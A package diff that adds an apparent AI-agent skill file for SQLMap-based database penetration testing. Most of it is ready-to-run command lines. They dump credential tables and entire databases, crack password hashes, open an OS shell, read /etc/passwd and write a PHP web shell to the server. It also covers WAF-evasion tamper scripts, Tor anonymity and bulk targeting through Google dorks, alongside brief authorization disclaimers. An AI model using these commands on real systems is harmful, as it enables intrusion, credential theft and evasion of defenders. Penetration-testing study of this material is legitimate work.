@namch/agent-assistant 1.0.0 → 1.0.2

package/skills/sqlmap-database-pentesting/SKILL.md

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+---
+name: SQLMap Database Penetration Testing
+description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# SQLMap Database Penetration Testing
+
+## Purpose
+
+Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
+
+## Inputs / Prerequisites
+
+- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
+- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
+- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
+- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
+- **Authorization**: Written permission for penetration testing activities
+
+## Outputs / Deliverables
+
+- **Database Enumeration**: List of all databases on the target server
+- **Table Structure**: Complete table names within target database
+- **Column Mapping**: Column names and data types for each table
+- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
+- **Hash Values**: Password hashes for offline cracking
+- **Vulnerability Report**: Confirmation of SQL injection type and severity
+
+## Core Workflow
+
+### 1. Identify SQL Injection Vulnerability
+
+#### Manual Verification
+```bash
+# Add single quote to break query
+http://target.com/page.php?id=1'
+
+# If error message appears, likely SQL injectable
+# Error example: "You have an error in your SQL syntax"
+```
+
+#### Initial SQLMap Scan
+```bash
+# Basic vulnerability detection
+sqlmap -u "http://target.com/page.php?id=1" --batch
+
+# With verbosity for detailed output
+sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
+```
+
+### 2. Enumerate Databases
+
+#### List All Databases
+```bash
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
+```
+
+**Key Options:**
+- `-u`: Target URL with injectable parameter
+- `--dbs`: Enumerate database names
+- `--batch`: Use default answers (non-interactive mode)
+
+### 3. Enumerate Tables
+
+#### List Tables in Specific Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
+```
+
+**Key Options:**
+- `-D`: Specify target database name
+- `--tables`: Enumerate table names
+
+### 4. Enumerate Columns
+
+#### List Columns in Specific Table
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
+```
+
+**Key Options:**
+- `-T`: Specify target table name
+- `--columns`: Enumerate column names
+
+### 5. Extract Data
+
+#### Dump Specific Table Data
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
+```
+
+#### Dump Specific Columns
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
+```
+
+#### Dump Entire Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
+```
+
+**Key Options:**
+- `--dump`: Extract all data from specified table
+- `--dump-all`: Extract all data from all tables
+- `-C`: Specify column names to extract
+
+### 6. Advanced Target Options
+
+#### Target from HTTP Request File
+```bash
+# Save Burp Suite request to file, then:
+sqlmap -r /path/to/request.txt --dbs --batch
+```
+
+#### Target from Log File
+```bash
+# Feed log file with multiple requests
+sqlmap -l /path/to/logfile --dbs --batch
+```
+
+#### Target Multiple URLs (Bulk File)
+```bash
+# Create file with URLs, one per line:
+# http://target1.com/page.php?id=1
+# http://target2.com/page.php?id=2
+sqlmap -m /path/to/bulkfile.txt --dbs --batch
+```
+
+#### Target via Google Dorks (Use with Caution)
+```bash
+# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
+sqlmap -g "inurl:?id= site:yourdomain.com" --batch
+```
+
+## Quick Reference Commands
+
+### Database Enumeration Progression
+
+| Stage | Command |
+|-------|---------|
+| List Databases | `sqlmap -u "URL" --dbs --batch` |
+| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
+| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
+| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
+| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
+
+### Supported Database Management Systems
+
+| DBMS | Support Level |
+|------|---------------|
+| MySQL | Full Support |
+| PostgreSQL | Full Support |
+| Microsoft SQL Server | Full Support |
+| Oracle | Full Support |
+| Microsoft Access | Full Support |
+| IBM DB2 | Full Support |
+| SQLite | Full Support |
+| Firebird | Full Support |
+| Sybase | Full Support |
+| SAP MaxDB | Full Support |
+| HSQLDB | Full Support |
+| Informix | Full Support |
+
+### SQL Injection Techniques
+
+| Technique | Description | Flag |
+|-----------|-------------|------|
+| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
+| Time-based blind | Uses time delays to infer data | `--technique=T` |
+| Error-based | Extracts data from error messages | `--technique=E` |
+| UNION query-based | Uses UNION to append results | `--technique=U` |
+| Stacked queries | Executes multiple statements | `--technique=S` |
+| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
+
+### Essential Options
+
+| Option | Description |
+|--------|-------------|
+| `-u` | Target URL |
+| `-r` | Load HTTP request from file |
+| `-l` | Parse targets from Burp/WebScarab log |
+| `-m` | Bulk file with multiple targets |
+| `-g` | Google dork (use responsibly) |
+| `--dbs` | Enumerate databases |
+| `--tables` | Enumerate tables |
+| `--columns` | Enumerate columns |
+| `--dump` | Dump table data |
+| `--dump-all` | Dump all database data |
+| `-D` | Specify database |
+| `-T` | Specify table |
+| `-C` | Specify columns |
+| `--batch` | Non-interactive mode |
+| `--random-agent` | Use random User-Agent |
+| `--level` | Level of tests (1-5) |
+| `--risk` | Risk of tests (1-3) |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Requires valid injectable parameter in target URL
+- Network connectivity to target database server required
+- Large database dumps may take significant time
+- Some WAF/IPS systems may block SQLMap traffic
+- Time-based attacks significantly slower than error-based
+
+### Performance Considerations
+- Use `--threads` to speed up enumeration (default: 1)
+- Limit dumps with `--start` and `--stop` for large tables
+- Use `--technique` to specify faster injection method if known
+
+### Legal Requirements
+- Only test systems with explicit written authorization
+- Google dork attacks against unknown sites are illegal
+- Document all testing activities and findings
+- Respect scope limitations defined in engagement rules
+
+### Detection Risk
+- SQLMap generates significant log entries
+- Use `--random-agent` to vary User-Agent header
+- Consider `--delay` to avoid triggering rate limits
+- Proxy through Tor with `--tor` for anonymity (authorized tests only)
+
+## Examples
+
+### Example 1: Complete Database Enumeration
+```bash
+# Step 1: Discover databases
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
+# Result: acuart database found
+
+# Step 2: List tables
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
+# Result: users, products, carts, etc.
+
+# Step 3: List columns
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
+# Result: username, password, email columns
+
+# Step 4: Dump user credentials
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
+```
+
+### Example 2: POST Request Injection
+```bash
+# Save Burp request to file (login.txt):
+# POST /login.php HTTP/1.1
+# Host: target.com
+# Content-Type: application/x-www-form-urlencoded
+# 
+# username=admin&password=test
+
+# Run SQLMap with request file
+sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
+```
+
+### Example 3: Bulk Target Scanning
+```bash
+# Create bulkfile.txt:
+echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
+echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
+
+# Scan all targets
+sqlmap -m bulkfile.txt --dbs --batch
+```
+
+### Example 4: Aggressive Testing
+```bash
+# High level and risk for thorough testing
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
+
+# Specify all techniques
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
+```
+
+### Example 5: Extract Specific Credentials
+```bash
+# Target specific columns
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T admin_users \
+  -C admin_name,admin_pass,admin_email \
+  --dump --batch
+
+# Automatically crack password hashes
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T users \
+  --dump --batch \
+  --passwords
+```
+
+### Example 6: OS Shell Access (Advanced)
+```bash
+# Get interactive OS shell (requires DBA privileges)
+sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
+
+# Execute specific OS command
+sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
+
+# File read from server
+sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
+
+# File upload to server
+sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
+```
+
+## Troubleshooting
+
+### Issue: "Parameter does not seem injectable"
+**Cause**: SQLMap cannot find injection point
+**Solution**:
+```bash
+# Increase testing level and risk
+sqlmap -u "URL" --dbs --batch --level=5 --risk=3
+
+# Specify parameter explicitly
+sqlmap -u "URL" -p "id" --dbs --batch
+
+# Try different injection techniques
+sqlmap -u "URL" --dbs --batch --technique=BT
+
+# Add prefix/suffix for filter bypass
+sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
+```
+
+### Issue: Target Behind WAF/Firewall
+**Cause**: Web Application Firewall blocking requests
+**Solution**:
+```bash
+# Use tamper scripts
+sqlmap -u "URL" --dbs --batch --tamper=space2comment
+
+# List available tamper scripts
+sqlmap --list-tampers
+
+# Common tamper combinations
+sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
+
+# Add delay between requests
+sqlmap -u "URL" --dbs --batch --delay=2
+
+# Use random User-Agent
+sqlmap -u "URL" --dbs --batch --random-agent
+```
+
+### Issue: Connection Timeout
+**Cause**: Network issues or slow target
+**Solution**:
+```bash
+# Increase timeout
+sqlmap -u "URL" --dbs --batch --timeout=60
+
+# Reduce threads
+sqlmap -u "URL" --dbs --batch --threads=1
+
+# Add retries
+sqlmap -u "URL" --dbs --batch --retries=5
+```
+
+### Issue: Time-Based Attacks Too Slow
+**Cause**: Default time delay too conservative
+**Solution**:
+```bash
+# Reduce time delay (risky, may cause false negatives)
+sqlmap -u "URL" --dbs --batch --time-sec=3
+
+# Use boolean-based instead if possible
+sqlmap -u "URL" --dbs --batch --technique=B
+```
+
+### Issue: Cannot Dump Large Tables
+**Cause**: Table has too many records
+**Solution**:
+```bash
+# Limit number of records
+sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
+
+# Dump specific columns only
+sqlmap -u "URL" -D db -T table -C username,password --dump --batch
+
+# Exclude specific columns
+sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
+```
+
+### Issue: Session Drops During Long Scan
+**Cause**: Session timeout or connection reset
+**Solution**:
+```bash
+# Save and resume session
+sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
+
+# Resume from saved session
+sqlmap -u "URL" --dbs --batch --resume
+
+# Use persistent HTTP connection
+sqlmap -u "URL" --dbs --batch --keep-alive
+```